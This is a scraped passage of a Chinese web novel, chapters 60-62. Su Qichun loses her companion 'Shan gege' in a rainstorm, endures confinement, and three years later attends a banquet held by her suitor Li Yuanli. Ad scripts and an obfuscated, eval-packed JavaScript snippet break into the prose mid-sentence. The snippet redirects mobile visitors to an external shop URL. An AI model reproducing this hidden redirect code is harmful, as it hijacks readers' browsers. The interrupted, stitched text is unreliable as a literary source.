苏老夫人也跟着站起来,“阿庆,快,备车,送他一程。” 太多的隔阂与冷漠在这分别的一刻都消弭了,原来人人都觉得这少年冰冷无情,而此时,在巨大的分别时刻里,一切都不重要了,分离的难过压倒了一切。 阿庆气得跺脚,他本想着这两日就可以回到药铺,谁知又被安排了这活儿,不过,望着少年在雨中的背影,他的想法很快又改变。 说到底也是相知一场,送他一程又有何妨? 他急匆匆将马车拉出来,嘱咐马夫快些追上前面的少年,待要上车时,眼角余光处忽地闪过一个绯红的身影。 雨越来越大,小女郎一身绯红,从马车上跳下来,在雨地里大声地呼喊,那声音穿破雨幕,带着些颤抖的害怕。 “山哥哥——” 60. 离与别(下) 60离与别(下) 苏祈春提着裙裾,小小的身影淹没在雨幕里,数不尽的雨滴穿过天与地的距离落在她绯红的衣衫上,她望着前方,边跑边追,乌黑的眸子里铺展出白衣少年的背影。 “山哥哥——”她再次大喊。 周遭的雨越来越大。 白衣少年身子微不可见地动了动,白色的袖角像被风吹动一般轻轻摇晃。在雨里,他的步子也跟着慢起来,沉重的雨一点一滴砸在他的脚背上,阻塞他的每一步。 越来越重,越来越明显的不安在苏祈春的心中被放大。眼前的人明明就是陆之山,可她大声地喊,却看不到回应。 漫天的雨声愈发地大,好似要将整个的天与地都浸泡在响彻的雨声里。在这样声势浩大的雨里,谁都听不到彼此的话,可苏祈春知道,她的山哥哥一定能听到。 身上的衣衫被雨浸泡得格外地重,苏祈春却害怕得想不了许多,冲着白衣少年远离的背影奔去。 阿庆望见苏祈春追逐的身影,大声道:“女郎,你快停下,不要追了!” 苏祈春摇头,“不行,山哥哥——”她又喊。 接连不断的雨在苏府的门檐下形成一串串的雨帘,苏老夫人见着突然冒出来的苏祈春,大惊失色,整个人都站不稳,全靠韩嬷嬷扶着才不至于摔倒。 “这……这纤纤怎么回来了?”昨夜苏知辛就安排茯苓将苏祈春支出去,谁料这一大早,苏祈春竟又出现了。 “是啊,老夫人,现下我们该怎么办?”苏祈春在这少年的病上耗费了不少心力,也与这少年相处最多,难免不会被蒙骗,韩嬷嬷心下也担忧。 苏老夫人被这句话提醒,她指着苏祈春,对着身旁的家仆大喊:“快!快将纤纤给抓回来!” 苏祈春还在雨里狂奔,不住声地呼喊着,身子两侧突然多出来几个精壮大汉,不由分说地抓住她,将她往后拖。 巨大的力量禁锢着苏祈春,苏祈春小小的胳膊不停地挣扎,可她的力气太小,如同一滴水融入大海一般,苏祈春半点没挣脱。 她大喊:“你们是谁?放开我!我要去找山哥哥!” 这几人完全没有理会她,拽着她将她拖到苏老夫人面前,苏祈春抬眼,泪珠儿从脸颊上滑落,“祖母,这到底是怎么回事?” “能有什么?你想多了。”苏祈春浑身被雨浇透,整个人控制不住地打颤,看着特可怜,苏老夫人对几个家仆使了个眼色,家仆们放开了按着苏祈春的手。 苏祈春手指握得发白,她想到茯苓说的,陆之山治好了病就会走,也许就是这一两日。 她伸手攀上苏老夫人的膝盖,摇头道:“我知道……我知道山哥哥治好了病迟早是会走的,就算一时半会儿不走,他也早晚要成家,自立门户,要离开苏家,回到他原本的家乡。” 苏祈春说着说着,嘴角泛起笑意,“他会娶妻生子,他的妻子一定很好看,像芙蓉花一样美,他的孩子会继承山哥哥的疏朗和他妻子的美貌,清逸又华美。” “你在说什么?”苏老夫人冷冷睨她。 她恍然想起和陆之山经历的一切一切,陆之山为她雕刻的木人,一次一次的保护她,还承诺她说,永远永远不会对她坏。 她的山哥哥说永远不会对她坏。 “祖母,你告诉我为什么山哥哥要走?你放心,我一定会听话,我不会拦他的,我没那么死皮赖脸……但能不能和我说一下,祖母……” 身上的刺骨冰冷让她颤抖,她艰难地挪到苏老夫人的身边,“祖母,是不是发生了什么事?山哥哥不会一声不吭地就离开的,如果他要走,他一定会和我说的。” 苏祈春的一字一句都像是包裹了一层心酸,连韩嬷嬷都听不下去了,忍不住开口道:“纤纤,好了,别哭了,快回去换身衣服,什么山哥哥的,以后别再提了。” “为什么?”苏祈春问,“为什么不再提了?到底发生了什么?韩嬷嬷,你快告诉我,到底发生了什么事?” 韩嬷嬷望望苏老夫人,欲言又止。 苏祈春心里闪过无数种可能,湿哒哒的雨水顺着她的发梢滴下来,她整个人都宛如被暴风雨席卷后的一株荷花,破碎又凄美。 她踉跄地站起身,憔悴的目光在韩嬷嬷和苏老夫人脸上盘旋,忽地转身,冲着白衣少年离开的方向而去。 苏老夫人和韩嬷嬷见她这般样子,也都骇了一跳,忙令人拦住她。 为防备那少年,这两日苏家特意挑了些会功夫的家仆,苏祈春很快被他们抓回来,按在地上。 苏祈春扭动双肩,挣扎大喊:“放开我!我要去找山哥哥!我要去找他问个清楚!” 苏老夫人又急又气,在她眼里,苏祈春向来是个倔脾气,她生怕苏祈春跑去找那个假的陆之山,那到底是个陌生人,苏祈春和他最好一点儿瓜葛都没有。 她清清喉咙,沉下脸道:“行了!别叫了!” 苏祈春抬起头,原本被淋湿的发此刻已然散乱,她盯着苏老夫人道:“为什么不让我说?我偏要说!我就是要知道山哥哥为什么要离开?” 苏老夫人猛地拍了下椅子把手,指着苏祈春道:“你要知道为什么是么?那我告诉你,他根本就不是你的山哥哥。” “他就是个不知道从哪来的野孩子,没爹没妈,没亲没家,连他自己都不知道自己是谁,更不要说,他还是个混江湖的。” “他这手上指不定沾了多少鲜血?亏得你姑姑还去救他,说不准那位老妈妈就是他杀的。一个江湖人,做出什么事都不稀奇!” “你胡说!”苏祈春摇头,不愿相信地大喊,“他不会的,就算他不是我的山哥哥,他也不会那么做的!” 不管他是谁,这些日子发生的一切不会不作数,他不是那样的人。 “我看你是疯了,是傻了?他能伪装那么久,骗苏家骗那么久,又有什么事做不出来?你可知道他根本就不哑,他本来就是装的,就是骗人的,他连你也一起骗了!” 苏祈春握住双耳:“我不听我不听!我不相信他会骗我,一定有什么事,我要去问问他,我一定要去问问他!” 大雨如注,雷声轰鸣,闪电划破天际,映得门檐下半边亮半边暗,苏祈春提起裙子往门外跑。 苏老夫人气得大喊:“抓住她!把她关起来,谁也不许见她!” “放开我!我不相信!我不相信他是那样的人!”苏祈春心中接连涌出许许多多复杂的东西,所以她偏要大喊,偏要跟自己说,他才不是那样的人。 后来听到消息的苏知辛赶回来,隔着门问苏祈春,“你不相信什么?” “昨日夜里,他已承认所有的事,他是骗你的,他没有哑症,也不是陆之山,他都承认了,你还在不相信什么?” 苏知辛有些讥讽的声音透过窗子传进来,想来他也不能理解苏祈春在不相信什么? 苏祈春被关在自己的屋子里,窗户和门都被封死,屋子里昏昏暗暗,只余下一盏灯,幽幽地亮着。 苏祈春脸上还带着泪痕,被雨淋湿的衣服早已被沁干水分,皱巴巴地贴在身上,她瘫坐在地上,半边身子倚在桌脚处,浑身蜷缩着,双手抱着自己。 “我就是不相信!”苏祈春强忍着身上的颤抖,“我不要听你们说,我要听他亲口和我说,你们把他还给我!” 门外,苏知辛重重地捶了下门,叹口气,“你……你这个孩子怎么这么不听话!” 苏祈春绷着脸,始终不松口。 到了晚上,茯苓端了些糯米糕走进来,糯米糕味道香甜,她猜想苏祈春一定忍不住馋。 “女郎,吃点儿糯米糕?”茯苓问。 苏祈春一天没好好吃饭,此时身子虚弱,面如白纸,她伸手接过一块儿糯米糕放在嘴里,一口一口地咬着,连吃了几个,苏祈春有了些力气,问茯苓,“茯苓,你知道……他的下落吗?” 茯苓很快意会苏祈春说的“他”是谁,她接道:“听月雪阁的丫鬟说,老夫人派阿庆去送他一程了,说到底,他不是苏家人,我们苏家已经仁至义尽了。” 苏祈春不说话,又咬了几口糯米糕,被噎得停下,她望着茯苓收拾东西的背影,忽地来了一句,“你早就知道了,对不对?” 茯苓的身子僵了一下,她确实早就知道,可她什么时候知道又能影响什么?她笑笑,没否认。 苏祈春眼泪滑下来,“你们都知道,只有我不知道。” 他们都知道他要走,只有她不知道。 半晌,茯苓倒了杯水递给苏祈春,讨好道:“女郎,别想了,喝口水。” 茶水氤氲的热气在苏祈春脸颊前盘旋,苏祈春望向茯苓,忽地道:“茯苓,你说,他会去哪?” 她帮他治好了病,还没听他说一句谢谢。他原来不是她的山哥哥,她也没能亲耳听他说。 她也不知道他是谁,他的家在哪里,家里有几口人?还是说他没有家,话本子里,那些江湖客都是没有家的。 茯苓的手往后缩了缩,尴尬地笑,“女郎……” 苏祈春眼里的光越发地暗,她懒懒地挪过眼,不想再听下去。 一连几日,苏祈春都被困在屋子里,有时候听听窗外的雨,有时候翻开医书读一读。 她积攒了许多的医书,除了给杨夫人治病的医书,就是治疗眼疾的。 只是这两类书现如今她都不需要了。 茯苓说,真正的陆之山早就离世了,这个假的陆之山和苏家毫无干系,不需要同情,也不需要怀念。 苏祈春起初会反驳,后来越来越沉默,她总是想,那些一起患难的时光总是算数的,她想听他亲口说。 她需要一个告别,一个明明白白的告别。 自从假的陆之山走后,湛江县的雨就再也没停过,一日又一日地下。 每一日,苏老夫人都遣人来问一次,还要不要去找那个假的陆之山?苏祈春每次都回要。 茯苓和杨夫人轮流劝她,要她低头认个错,保证再也不去找那个什么假的陆之山。 苏祈春摇头,她就是要亲自见见他,听他把来龙去脉讲给她听。 茯苓和杨夫人劝了几日,也放弃了。 有一日,外面下着大雨,苏祈春半边身子跪在地上,半边身子趴在床榻上,风吹得窗户来回摇荡,苏祈春缓缓醒来,直起身子,有些厚重的衣袍从肩头滑落,堆在她脚下。 她低头去看,入目便是一片鹅黄,是带着暖意的黄,让人一看就觉得温暖。 这件衣衫她前些时日穿过,被放在衣柜里,这几日都不曾拿出。 鹅黄的夺目在黑暗里也不输,苏祈春回头,猛然发现,原本被钉死的窗子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 此刻被吹开了一个小缝,风夹带着雨从缝隙里钻进来,吹得书案上的书页随风翻飞,书页旁,放着那个栩栩如生的木人。 苏祈春盯着它,目光随着它摇晃的身子摆动,一瞬间,她好像回到了白首村,在那个小木屋里,她吃着长寿面,心里酸涩到极点,陆之山为她刻了木人,告诉她说:“我做小老头子,你做小老太太。” 而如今,她还没变成小老太太…… 她想到什么,猛地抓起地上的衣衫跑到窗前,伸出手,颤抖地扶上窗棂,往外推去。 窗外风雨如注,树叶随风在雨中被砸落在地。黑沉沉的乌云遮蔽天日,配合着雨幕将天地变得模糊一片。 苏祈春毫不费力地推开了那扇原本被封死的窗户,风和雨汹涌地从她的衣领口灌进身体里,她的头发被风吹散,雨水很快淋湿她的发,她的视线也被雨水砸得模糊。 苏祈春迎着风,张望着周围的一切,乌云,雨幕,树叶,灯火,还有耳畔止不住的雨声。 这样风雨的日子,人人都躲在屋里躲雨,举目之处,哪有半分人影? 她螓首微垂,抓着窗户的手渐渐松下去,眼皮垂下,缓缓转过身去,桌案上,木人也溅上了雨,雨水将木人的半边身子染成深色,和另一边深浅相映。 苏祈春拿起木人,在木人浅色的一边望见一个深色的指印。 她的心先是平静得像冰封的湖面,随即又立刻沸腾起来,滚烫的水在她的胸腔内灼热,她再次转身,往窗外望去。 她抹抹眼泪,仔细地看。 漫天的雨里,高高的树下真的有个很小很小的白点。 她抓住窗沿,望着那个白点,张张嘴,喉咙却被塞住,说不出话。 她鼻子也跟着酸酸的,心里可怜地想:她还没变成小老太太呢! 她得找到他。 她提起裙子,双手撑着窗台往外翻。 太久没好好吃饭,稍微一用力便气喘吁吁,身上也跟着汗涔涔的,但苏祈春却不觉得累,反而觉得心里暖暖的,像晒了一次很好的太阳,她因此得到力量。 满耳的雨声也不再那么聒噪,更像是一首首乐曲,哗哗啦啦地谱成段段旋律,而她就在这曲子上跳跃微笑。 她一边艰难翻窗,一边望着那个白点,心里想着见到山哥哥了要说什么,她想她应该好好凶他一顿,怪他不和她说就走了。 可一转念,她又不想这样,山哥哥肯定不是故意不和她说的,他一定是有不得已的苦衷,一定一定有许多许多的委屈,她要好好地问问他,告诉他,其实她真的一点儿都不想让他走。 她半边身子翻出来,雨水很快将她的身子打湿,湿漉漉的衣服贴着她,映出她单薄的身子。 另一半身子也翻出来后,她望了望脚下,咬咬牙,猛地往地上一跳。 大雨在地上积攒出一个个水坑,苏祈春的脚正好踩在水里,冰冷的雨水刺得她从脚底一直冷到全身。 她皱紧眉头,因为疼痛而生出的泪水涌向眼眶。 “女郎!你怎么出来了?” 苏祈春心里一惊,猛然抬头,正瞧见茯苓领着几个大汉往她这里走,她想也没想,拔腿就往白点的方向跑。 “女郎!”茯苓在她身后大喊,“快点儿,你们几个,快抓住女郎!” 苏祈春闻言跑得更快,雨水劈里啪啦地砸在她的眼上,身上,她不顾一切地往前跑,可是还是很快被追上,她拼命地挣扎,扭动着身子,也不知哪来的力气挣脱出来,下一秒,一个大汉伸脚绊住她,她重重地跌在地上,“砰”地一声响,溅起朵朵水花。 “你们放开我!”苏祈春倒下后,几个大汉涌上来按住她。 茯苓也跟过来,急得跺脚,“女郎你怎么出来了?” “茯苓!”苏祈春睁着渴求的眼神,看着茯苓,声音软得像在请求,“我好像看见他了,我得去见他一面,茯苓……” 茯苓的脸一下子就白了,她面无表情地说:“女郎,你看错了吧?” 不待苏祈春回答,她又对着那几个大汉说:“你们几个,快将女郎送到屋里。” 哗啦的雨声里突然响起一阵雷声,震得苏祈春浑身一哆嗦,茯苓在外命人修好窗户,过了会儿,走进来同她讲,“女郎,我看你是被关傻了,哪有什么白点,你看,就是个白布,也不知道是谁扔在那儿的。” 苏祈春无力地瘫在地上,膝盖上被磕破了一大块,在衣衫里面渗着血,隐隐地刺痛。 白布从茯苓的手中丢出,轻飘飘地落在苏祈春面前,苏祈春静静地望着它,看它从空中落在她的掌心,一点点盖满她的手。 她攥住这白布,突然大哭起来,哭得脸都红了。 “女郎,你怎么了?”其实茯苓还是心疼苏祈春的,她蹲下身,抱住苏祈春。 好一会儿,苏祈春才啜泣着说:“就是他……这是他留下的……”这就是他留下的,白布的一角还绣着兰草,他从前就是用这块帕子蒙眼的。 茯苓始终不喜他,她一把从苏祈春手里抽出帕子,不顾苏祈春的反对,将它扔了出去。 回来时,苏祈春哭得累倒,她望着她瘦弱的背影,心里一酸,替她掖好被子。 门口的家仆问:“这木人怎么办?” 茯苓瞟了一眼,叹口气,“既是那个人的东西,便扔了吧。” 61. 光阴逝 61光阴逝 天冷下来,冷灰色的云层间,雪粒子扑簌簌地坠落,没一会儿,就染得穹宇一片白。 觉明院外,一个嬷嬷领着几个人往这边走来,守在院外的家仆瞧见她,很自觉地打开门,双手垂下,立在一旁。 待到屋门外,领头的嬷嬷回过身对着几人说:“你们记着,一会儿到了屋里,女郎问你们什么你们就答什么,一个字儿都不许说错!” 这几人一个长得五大三粗,脸上有道长长的刀疤,人称刀疤脸,平时在西市卖猪肉为生,另外两人,一个是倒夜香的,一个是卖烧饼的,胆小的很,连话都不敢说。 三人互相望望,都不吱声,刀疤脸战战兢兢地回:“嬷嬷你放心,我们三个嘴里保证没有一句假话!” 嬷嬷这才放心地点头,脸色舒缓了些,她拂了拂身上散落的雪粒子,不免打了个寒颤,抬头望一望天,喃喃自语:“今年可真冷啊。” 经历了两年的暖冬,湛江县又迎来一个寒冬,这冬日的冷冽程度,和三年前的比毫不逊色,甚至有过之而无不及。 茯苓早早将屋子里燃起了碳,燃烧的碳散发的热气将屋子烘得格外地暖。 苏祈春坐在桌案前,听着刀疤脸讲当日的事情,手中的笔猛地一滞。 刀疤脸停了停,见苏祈春没有怪罪的意思,才大着胆子一口气将话说完。 “女郎,我们知道就只有这些,总之,那位公子和妈妈根本不是我们那边的人,依我看,八成是什么江湖人,冒充百姓来的。哎,对了,那位妈妈也没有死,出了那件事之后的一个月我还在见她呢。” 苏祈春攥着毛笔的手因用力而发白。一旁的茯苓止住刀疤脸的话,呵斥道:“行了,知道了,你们走吧,我家女郎要休息了。” 刀疤脸撇撇嘴,也不知说错了什么,咕哝两句悻悻离开。 苏祈春的身子在人离开之后瞬间松下来,手中的笔也跟着落下,笔尖氤氲的墨在白宣纸上形成一团黑,浓的化不开的黑。 这些年来,苏老夫人和杨夫人接连去世,苏知辛也生了一场大病,苏川柏兄弟俩把控了怀仁堂,怀仁堂的生意愈发的差,苏祈春在苏家的生活也越来越难。 三年来,苏祈春是怎么过来的,茯苓都看在眼里,茯苓双手按上她的肩,有些心疼,“女郎……” “没事。”苏祈春拍拍茯苓的手,“我没事。” 话说到末尾有些心酸的颤,像风中身不由己的枝叶。 这三年确实过得辛苦,但还好今日她总算圆了自己多年来的一个心结,她就知道,她就知道他不会伤害无辜的人。 正思索间,门外响起一个妇人的声音,茯苓的脸登时沉下来,“女郎,你要是不想见,我去把她赶出去!” 苏祈春直起身子,摇摇头,“算了,躲得了一时也躲不了一世,请她进来吧。” 李嬷嬷一进来就打量了苏祈春一圈,还是老样子,不笑也不哭,跟个祭坛上的菩萨一样。 她眼往桌案上一瞟,更加确信了,可不就是菩萨么?整日抄佛经,算起来,已经快三年了。 “李嬷嬷,不知你今日来,可有什么事?”茯苓警惕地看着她,生怕她又为难苏祈春。 还没说什么,李嬷嬷先笑起来,姿态颇为谦卑,“能有什么事儿啊!这不,天儿冷了,我家公子令我来看看苏女郎这儿有什么缺的东西么?” 这理由不知被李嬷嬷用了多少次了,茯苓听得耳朵起茧子,她张了张口预备要说什么,却被苏祈春挡住。 “李嬷嬷。”苏祈春放下手中的笔,“李公子帮忙查明我山哥哥一案的真相,我感激不尽,有什么话不妨直说。” 李嬷嬷暗自点头,这茯苓虽是个没眼力见儿的,但苏祈春倒还算识相,说实话,若是没有她家公子,苏祈春怎能有今日? 那时苏知辛病重后,苏川柏两兄弟把持苏家,生生要将苏祈春嫁给一个恶赌鬼,所幸她家公子拦住了,还时时照拂苏祈春,苏祈春这才能有得体的日子过。 苏祈春不说对她家公子千恩万谢,也该笑意相迎,像茯苓这般虎视眈眈的像什么话! 李嬷嬷笑吟吟道:“没什么大事儿,只是我家公子关心女郎,想问问女郎这佛经抄完了么?我家公子每日数着呢,就盼望着女郎早一日抄完,我们啊,好早一日来迎娶!” “什么迎娶不迎娶的?你在胡说些什么?”茯苓气不打一出来,出声反驳,“我家女郎什么时候出嫁还轮不到你来指手画脚!” 李嬷嬷撇嘴,当年她家公子救下苏祈春之后,立刻向苏家提亲,苏祈春却说要为母守孝,抄够一万份经书才肯出嫁。要说她家公子也真有耐性,这一等就是三年。 “茯苓女郎,你这话就说得不对了,我家公子和苏女郎本就有婚约,如今苏家的话事儿人苏川柏也已经应允了,只等着苏女郎出嫁。” “再说,这几年里,我家公子可有亏待你们?这屋里大大小小的物件儿都是我家公子给添的,要知道,没有我家公子,苏女郎早就在三年前就被卖了。” 茯苓被气得说不出话,她心里清楚李嬷嬷和她家公子没安好心,但偏偏她说的又全都是事实,让她找不出反驳的话来。 李嬷嬷瞥她一眼,继续道:“而且,我家公子帮忙查清陆公子的案件,累得茶饭不思的,苏女郎你可知晓?” 李嬷嬷转眼看向苏祈春。 苏祈春一身素衣,只用一只木簪子绾住头发,脸颊素净,一点粉黛也未施,她听完,扭头对李嬷嬷淡淡笑一下,道:“是啊。” 她抬手扶着桌子一边,撑着站起身,素色的衣衫隐不住蜿蜒的身姿,她笑着对茯苓说:“别这么和李嬷嬷说话,李公子帮了大忙,是该好好感谢他,他什么时候有空,我亲自上门拜访。” 李嬷嬷一听,乐了。 她家公子平日不爱笑,但每次一见苏祈春便会开心半天,像个小孩子一样,连话都会变多,她看着心里也高兴。 李嬷嬷点头道:“女郎,你等等,我回去问问,公子他一定很欢喜。” 李嬷嬷转脸就去禀告李元礼。 李元礼放下手中的茶盏,黑暗里的眼睛亮了亮, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “她真这么说?” “是啊。”李嬷嬷见李元礼高兴,也跟着开心,“苏女郎说是要亲自拜访,感谢公子你的大恩大德。” 李元礼强压住嘴角的笑意,从他逃出那个鬼地方到此时,快三年了,这期间他不知对苏祈春用了多少心思,可苏祈春就是不正眼看他一眼,如今骤然传出这样的消息,他怎能不开心? 他都要开心死了。 但他表面上并不能显露太多,只稳着声音遣走李嬷嬷,接着,在黑暗里,他整个人都好像在笑,连着眼角眉梢俱是春意。 他走到窗前,推开窗,纷纷白雪落在他的肩,他的眉上,他如今的眉眼与往日不同,多了些女人般的轻柔,看上去更温柔,就连往日的戾气也少了许多,再也不是曾经那个趾高气扬的李元礼了。 他伸出手,如絮般的雪落在他手心,渐渐的,雪在他掌心的温暖下慢慢融化,可不就像他对待苏祈春那样,一点点的,终于温暖了她。 他收起手,脸上挂着压不住的笑,唤来长风,吩咐他,苏祈春要来了,要他好好安排。 长风答是,离开时,他瞧见李元礼少有的笑,自从三年前在逃难路上被李元礼救下后,这还是他第一次看见李元礼这么开怀的笑。 不过,他听到苏祈春的名字后很快了然,如果没记错的话,在逃难路上,李元礼曾告诉过他,有一个小女郎,差点儿害死他,又偏偏救了他。 他猜,那个小女郎就是苏祈春。 苏祈春却不知道这一切的由来,她只以为当年她害得李元礼流浪到那么远的地方,李元礼一定很恨她,所以才会想尽办法来折磨她。 要她嫁给他是折磨她,对她好也是他欲擒故纵的手段。总之,在她心里,李元礼就是魔鬼,比她的两个哥哥还要可怕的魔鬼。 茯苓也担心,她将抄好的佛经收拾到箱笼里,开开关关箱笼好几次,终于忍不住说:“女郎,你当真要去么?” 油灯下,苏祈春手中的笔尖颤了颤,她轻声说:“不然呢?” 今日李嬷嬷说的话,意思很明白。这么久了,别说其他人,就连苏府的人都也是如此,个个在心里把她当成李元礼的未婚妻子。 本来,女子的亲事都是由父母做主,如今她的娘亲、祖母都已去世,爹爹病重,她的哥哥决定她的婚事无可厚非,况且,李元礼日日殷勤,任谁来看,都觉得她应该听从。 也许这确实是很好的姻缘,但却没人来问问苏祈春,来问问她到底愿不愿意,或者说,她愿不愿意根本不重要。 她没有办法决定自己将来的一生,更没有办法决定自己今天要见谁,要去哪。 “女郎,你要是真不想去,就别去了,那个李元礼从前那样对你,如今看着是变好了,谁知道他是装的,还是真的?”茯苓道。 李元礼回来后,自述自己被坏人拐到常春县做苦工,他费尽千辛万苦才逃出来,历经坎坷,因此性情也跟着变了。 但每次李元礼见苏祈春,都不许茯苓跟着,茯苓也因此对李元礼的用心十分怀疑,就怕李元礼是装出来的。 62. 琉璃屏 62琉璃屏 过了两日,天稍稍晴的时候,李嬷嬷带人过来,说是李元礼在李府摆了筵席,广邀湛江县的才子佳人前去赴宴。 李嬷嬷道:“县里的青年才俊,大家闺秀也都在,男的在一处,女的在一处,谁也不打扰谁,苏女郎可以放心。” 苏祈春抬头,微微笑,“知道了,李嬷嬷,你放心。” 看见苏祈春笑靥如花的样子,李嬷嬷点头退出去,一看门外天高云阔,枝头连理成双成对,她家公子将近二十的年岁,婚事终于要有眉头了,她心里乐呵不停。 这不是李嬷嬷一个人的自以为,李府上上下下都有这样心照不宣的默契。 但若要她们说,她们也说不清是什么时候开始这样以为的,她们只记得,从李元礼救下要被强嫁的苏祈春后,李元礼的眼里就再没有别人。 也因为此,李府的奴婢下人都对苏祈春事事依从,毕恭毕敬。 苏祈春一进李府,迎面走来的丫鬟脚步顿了顿,朝着旁边人递了个眼色,笑着来迎苏祈春。 “女郎你来了。”丫鬟叫盼春,水灵灵的一双眼,她瞧见苏祈春冻得发红的手指,将暖炉递给苏祈春,“我们都盼着女郎你来。” 暖炉的温暖夹杂着盼春的话落在苏祈春耳边,苏祈春握紧暖炉,僵硬的手指暖了些,“难为你们想着我。” “哪里,应该的。”盼春不敢居功,主子想着的人,她们这些做下人的,可不得加倍牢记。 盼春领着苏祈春和茯苓到了一处屋子里,屋子里燃满炭火,温暖得如同三月的春。 苏祈春刚进来,一个叽叽喳喳的声音便响起来,“纤纤姐姐!” 苏祈春还未来得及反应,一团毛绒绒便扑到她身上,在她耳边说:“纤纤姐姐,你也来了?” 施清荷说话的气息吹得苏祈春脖颈上的绒毛来回飘动,弄得苏祈春下巴痒痒的,她回头看施清荷,见她脸颊红红的,一颦一笑还和小时候一样,但仔细地看,不知不觉已多了些什么。 她忍不住伸手点点施清荷的鼻子,“都多大的人了,还这么没大没小的,像什么样子。” 施清荷嘟着嘴,更加缠着她,“什么多大的人,清荷还是个小女郎呢!永远都是,一辈子都是小女郎。” 施清荷说完,不止苏祈春,连着屋子里的一众人都笑起来。 施清荷这两年的事迹,屋里的人都知道,先是砸了宋家的聘礼,吵嚷着死也不嫁,可怜宋家公子生性害羞,更是因此出走京师考功名。 后来,施家又为她相了几门亲事,她统统骂回去,并扬言此生非天下第一剑不嫁。 施家上下都被气得不轻,对外只说是,孩子还小,没长大,什么也不懂。今日这一番话,果然还是个小孩子。 苏祈春目光移向屋子众人,这才发觉,屋子里除了几位未出嫁的闺秀,临窗的角落坐着个窈窕的身影。 苏祈春看着那人眼熟,盯了几眼,正和那人四目而对,她惊喜地往前走两步,那人也跟着站起身。 苏祈春上前抓住那人的手,有些哽咽地说:“婉君姐姐,你怎么也来了?” 自从三年前和婉君在船上匆匆一会后,已经许久没听到过她的消息了。 苏祈春挨着婉君坐下,听婉君说这些年的遭遇,“你知道的,我家那位是个江湖客,成日里打打杀杀的,我还有孩子,不能再跟着他瞎胡闹了。” 婉君说完一句话,别过眼,拿起一旁的茶水喝了起来。水汽升腾上来,润湿她双睫,让她看起来像哭了一样。 婉君说的这些话和当年告诉苏祈春的话一点儿都不一样,苏祈春心里有千万个疑问想要问,可婉君却一副不想再提的样子,她话到嘴边又吞下。 今日的筵席男女分开,女客们在这暖阁里围在一起,说说闲话,下下棋,因怕众人无聊,暖阁里还安排了投壶,猜谜,都是李元礼花费好大心力设计的。 众人玩了一会儿,累得额边鬓角汗涔涔的,坐在椅子上休息,半晌无话,盼春这时走进来,眼风扫过众人,命人打开侧边的窗子,笑道:“各位女郎都累了吧?” 一阵阵风吹进来,丫鬟们忙拿来屏风,这屏风极精巧,立在窗前可以挡风,却不似一般的屏风那样遮蔽视线,反而是透明的,隔着它还可以看清另一面的一切。 窗外隐约现出几个男子身影,几个女郎惊呼,这屋里的女郎都到了待嫁的年龄,多少有些少女怀春,此时骤然瞧见众多男子,不免害羞,掩着脸朝后退去。 苏祈春站在角落,见到外面的男子,怔了一霎,脸瞬间红起来,慌乱地往阴影里躲。 盼春笑吟吟道:“诸位莫急,这位置不会被人看到。”她指着窗外的位置,众人顺着她指的方向看过去,果然发现她们的位置处在低位,恰好被树叶挡住,外面的人看不到里面,里面的人却能看到外面。 “哎,这地方真是风水宝地。”施清荷提着裙子趴在窗户上,一个劲儿地瞧着窗外的男子,一旁有人拉她,她毫不在意,昂脸道:“别管我,送上门的男色我可不能错过。” 其余人被施清荷这惊世骇俗的话吓了一跳,惊讶之余,也忍不住瞥眼去看窗外难得的风景。 暖阁不远处矮山上的亭子里,几个身着儒袍的男子或站立,或饮酒,或对弈,丰神俊朗,金玉其质。 女郎们盯着亭子里的人,各自目光落在自己心仪的人身上,脸颊也跟着微微红起来。 施清荷趴在窗子上看了半晌,又摇头又叹气,苏祈春笑问:“这是怎么了?” 施清荷拍拍手上的灰尘,满脸不乐意,“软软弱弱,没一个好看的,还是我的天下第一剑好。” 听到天下第一剑这几个字,苏祈春呆了一瞬,有些失神,脱口而出道:“天下第一剑怎么了?” 施清荷没想到苏祈春这么问,她回头,眨眨眼道:“他啊,第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13789537|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼的楼主下了命令,满江湖地追杀他。” “然后呢?”苏祈春攥紧手心,她不知何故心里隐隐地害怕,“他还活着么?” 施清荷脸上溢出神采奕奕的笑,“那可是天下第一剑,怎么能那么轻易地被抓到,他们满江湖地找他,愣是找不到他半点人影。” 苏祈春揪起的心一下子平静下来,她抬眼望向窗外,嘴里喃喃道:“没事就好。” 亭子里不知何时多了个身影,背影挺拔,剑眉星目,看上去颇为沉稳,与一旁的几个清秀少年站一起,压得他们顿时黯然失色起来,围在一起偷看的女郎的注意力瞬间转移到他身上来。 施清荷扬扬眉,回头对苏祈春说:“这人是谁呀?倒是有几分姿色,不像旁边的,瘦弱得简直不像个男的。” 苏祈春无可奈何地瞧了施清荷一眼,好奇地透过屏风去看,矮山上的亭子里,黑衣男子宽窄腰身,脸上带笑地立在众人之间,耀眼又夺目。 苏祈春想不到是他,有些愣住,男子目光流转,往苏祈春的方向看过来,苏祈春垂下眼,身子转向里面,慌乱的目光和婉君的相碰,又很快挪开。 盼春笑着看众人反应,开口道:“这位就是我家公子。” 众女恍然大悟,没想到李元礼是这般摸样,比传闻中还要俊秀几分,有记性好的立马望向苏祈春,眼神暧昧不明。 李元礼和苏祈春的事湛江县里无人不知无人不晓,本来她们几个还觉得李元礼不一定配得上苏祈春,今日一看,便觉得是苏祈春配不上李元礼。 施清荷也将目光转向苏祈春,观察着苏祈春的神色,语气酸酸的,“纤纤姐姐,没想到你的眼光还挺好的,这李元礼确实比我那迂腐的哥哥好多了。” “清荷你别胡说!”施清荷心直口快苏祈春是知道的,但施清荷这么直白地当着她的面说出来,却也让她难堪,她涨红了脸,想要解释,谁知她们根本不听。 